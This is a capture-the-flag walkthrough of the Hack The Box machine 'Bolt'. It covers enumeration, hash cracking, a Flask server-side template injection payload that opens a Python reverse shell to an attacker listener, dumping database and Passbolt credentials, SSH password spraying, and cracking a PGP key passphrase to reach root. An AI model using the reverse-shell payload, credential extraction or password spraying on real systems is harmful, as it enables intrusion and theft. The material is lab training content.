sudo nmap -sC -sS -sV -F >scan.txt

Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-23 21:12 EEST
Nmap scan report for
Host is up (1.2s latency).
Not shown: 97 closed tcp ports (reset)
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.73 seconds

We can see in the SSL service a subdomain: passbolt.bolt.htb Let’s add both bolt.htb and passbolt.bolt.htb to /etc/hosts.

If we inspect the page we can find it is running the 3.2.1 version. The latest; which has no known vulnerabilities.

<script src="https://passbolt.bolt.htb/js/app/api-vendors.js?v=3.2.1" cache-version="3.2.1">

If we run gobuster:

gobuster -w /usr/share/dirbuster/directory-list-2.3-medium.txt dir --url

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/10/24 12:02:44 Starting gobuster in directory enumeration mode
/index                (Status: 308) [Size: 247] [-->]
/download             (Status: 200) [Size: 18570]
/contact              (Status: 200) [Size: 26293]
/login                (Status: 200) [Size: 9287]
/register             (Status: 200) [Size: 11038]
/services             (Status: 200) [Size: 22443]
/profile              (Status: 500) [Size: 290]
/pricing              (Status: 200) [Size: 31731]
/logout               (Status: 302) [Size: 209] [-->]

We can see a /download page, which contains a docker image that can be dowloaded. It downloads a TAR file.

Getting the foothold

There is no need to load the image, but if we wanted, we could do the following:

docker load -i image.tar
docker run -it flask-dashboard-adminlte_appseed-app /bin/sh

We can simply extract the tar files and explore them as usual. There is some sensitive data in config.py:

# Set up the App SECRET_KEY
SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')

Although, I couldn’t do anything with that.

But later I found a sqlite file db.sqlite3, which can be easily inspected with:

sqlite3 db.sqlite3

SQLite version 3.36.0 2021-06-18 18:36:39
Enter ".help" for usage hints.
sqlite> .tables
sqlite> SELECT * FROM User;

This gives us an account hash. We can crack it with hashcat.

hashcat hash.txt /usr/share/dict/rockyou.txt -o cracked.txt

And we get the admin password for bolt.htb. In the Direct Chat it mentions some problems about the e-mail.

Hi Sarah, did you have time to check over the docker image? If not I’ll get Eddie to take a look over. Our security team had a concern with it - something about e-mail?

There are also mentions about a demo site:

Our demo is currently restricted to invite only.

And the importance of the user Eddie (he seems to be a privileged user in the system).

If we look for the invite keyword in the image, we find a routes.py which contains the following code:

code      = request.form['invite_code']
if code != 'XNSS-HSJW-3NGU-8XTJ':
    return render_template('code-500.html')
data = User.query.filter_by(email=email).first()
if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':

Where we can extract the invitation code: XNSS-HSJW-3NGU-8XTJ.

If we go to the /register url we can’t find a way to input the invite code. Also, looking at the template files, it seems like it is a different page. Let’s try a subdomain search:

gobuster vhost --url bolt.htb --wordlist /usr/share/dirbuster/directory-list-2.3-medium.txt

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://bolt.htb
[+] Method:       GET
[+] Threads:      10
[+] Wordlist:     /usr/share/dirbuster/directory-list-2.3-medium.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
2021/10/24 13:52:20 Starting gobuster in VHOST enumeration mode
Found: mail.bolt.htb (Status: 200) [Size: 4943]
Found: demo.bolt.htb (Status: 302) [Size: 219]

Let’s add both to /etc/hosts. After failing to login in both pages with the admin credentials, we are going to try to register with the invitation code in the demo.

After creating a user we are able to login in both pages. If we read the code for the backend of the demo, in the app/home/routes.py we find the following logic:

@blueprint.route("/example-profile", methods=['GET', 'POST'])
def profile():
        confirm_url = url_for('home_blueprint.confirm_changes',token=token,_external=True)
        html = render_template('emails/confirm-changes.html',confirm_url=confirm_url)
        msg.html = html

Which means we will get a confirmation email each time we change our profile info to confirm changes.

The first template is rendered safely, but the one we get after confirming the changes is a string replacement, and then a render_template_string call.

        <p> %s </p>
        <p> This e-mail serves as confirmation of your profile username changes.</p>

Whatever we input in the name will be injected there and then rendered as a template. If we try to put a script, the confirmation email will be:

<div class="rcmBody">
     <p> <!-- script not allowed --> </p>
     <p> This e-mail serves as confirmation of your profile username changes.</p>

So we need a template injection to access system executables (called Server Side Template Injection):

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\", \"-i\"]);'")}}{%endif%}{% endfor %}

We will listen for the connection with pwncat:

pwncat -lv 6666

And we are into www-data.

$ whoami

Getting the user flag

We can see the database configuration for the site in config.py:

"""Flask Configuration"""
#SQLALCHEMY_DATABASE_URI = 'sqlite:///database.db'
SQLALCHEMY_DATABASE_URI = 'mysql://bolt_dba:dXUUHSW9vBpH5qRB@localhost/boltmail'
SECRET_KEY = 'kreepandcybergeek'
MAIL_SERVER = 'localhost'

But we can’t get anything interesting apart from the password we already got for admin.

We saw a passbolt service running, let’s find the config file. You can check for the configuration file at /etc/passbolt/passbolt.php.

// Database configuration.
'Datasources' => [
    'default' => [
        'host' => 'localhost',
        'port' => '3306',
        'username' => 'passbolt',
        'password' => 'rT2;jW7<eY8!dX8}pQ8%',
        'database' => 'passboltdb',

We can login into the database as usual:

mysql --user=passbolt --password='rT2;jW7<eY8!dX8}pQ8%' passboltdb

mysql> show databases;
| Database           |
| information_schema |
| passboltdb         |
2 rows in set (0.00 sec)

mysql> use passboltdb;
Database changed
mysql> show tables;
| Tables_in_passboltdb  |
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |
25 rows in set (0.00 sec)

mysql> select * from users;
| id                                   | role_id                              | username       | active | deleted | created             | modified            |
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1cfcd300-0664-407e-85e6-c11664a7d86c | eddie@bolt.htb |      1 |       0 | 2021-02-25 21:42:50 | 2021-02-25 21:55:06 |
| 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 975b9a56-b1b1-453c-9362-c238a85dad76 | clark@bolt.htb |      1 |       0 | 2021-02-25 21:40:29 | 2021-02-25 21:42:32 |
2 rows in set (0.00 sec)

And we got two users. We can also see that there is a secrets table.

mysql> select * from secrets;

If we read it, we get a PGP encrypted secret created by user eddie. They also mentioned Eddie in the chat, so we are going to try to find his token.

mysql> select token,type from authentication_tokens where user_id = '4e184ee6-e436-47fb-91c9-dccb57f250bc' and active = '1';
| token                                | type    |
| 9f9152dd-707b-4428-90fa-de7f719a88c6 | recover |
| eb73c81c-be4b-477d-b534-c9395a3ff69e | recover |
| 0a3d0403-a6db-4dc4-80e1-44c38be41b27 | recover |
| aaf61fad-8102-46e1-bcae-b54a9f8a6079 | recover |
4 rows in set (0.00 sec)

The tokens have type = 'recover'. Let’s try to access https://passbolt.bolt.htb/users/recover?locale=en-UK. Nope, we need to have access to his email. If we look for how to recover a passbolt without an account, we find the following:


After that, and downloading the extension, we are asked for a private key (in PGP format). We tried to access eddie home to check if the key was there, but we don’t have permissions for that.

Let’s try bruteforcing ssh with all the users and passwords we have until now.

crackmapexec ssh -u users.txt -p passwords.txt

[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing SSH protocol database
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
[*] Initializing LDAP protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SSH    22     [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3
SSH    22     [-] admin:deadbolt Authentication failed.
SSH    22     [-] admin:rT2;jW7<eY8!dX8}pQ8% Authentication failed.
SSH    22     [-] admin:dXUUHSW9vBpH5qRB Authentication failed.
SSH    22     [-] eddie:deadbolt Authentication failed.
SSH    22     [+] eddie:rT2;jW7<eY8!dX8}pQ8%

We got a hit. Let’s ssh into eddie and get the user flag.

Privilege escalation

If we look for the PGP key to decrypt the secret:


We get some PGP private keys, all of them from Chrome extensions (like the one we are looking for):

.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js:const PRIVATE_HEADER = '-----BEGIN PGP PRIVATE KEY BLOCK-----';
.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js:            // BEGIN PGP PRIVATE KEY BLOCK
.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js:      result.push("-----BEGIN PGP PRIVATE KEY BLOCK-----\r\n");
Binary file .config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log matches

If we look at the binary file (000003.log) we can get a private key block. After formating it a bit (replacing \\r\\n with \n), we can upload that to the extension configuration. But we are asked for a passphrase.

As we don’t have the passphrase, we will try to decrypt the pgp to get the original password.

We can get a John The Ripper representation of the pgp key with:

gpg2john pgp.txt >pgp_john.txt

After that, we can try to decode it with:

john pgp_john.txt
john --show pgp_john.txt

Eddie Johnson:merrychristmas:::Eddie Johnson <eddie@bolt.htb>::pgp.txt

After deciphering his passphrase, we can log in into the passbolt service (with the steps of recovery we did before, and using the passphrase). We see there is a root password store.

If we try to ssh root, it seems like it doesn’t work, but it could be disabled to log in with root. Let’s try to switch user from eddie.

eddie@bolt:~$ su root

It worked! We owned the machine, just take the root.txt flag.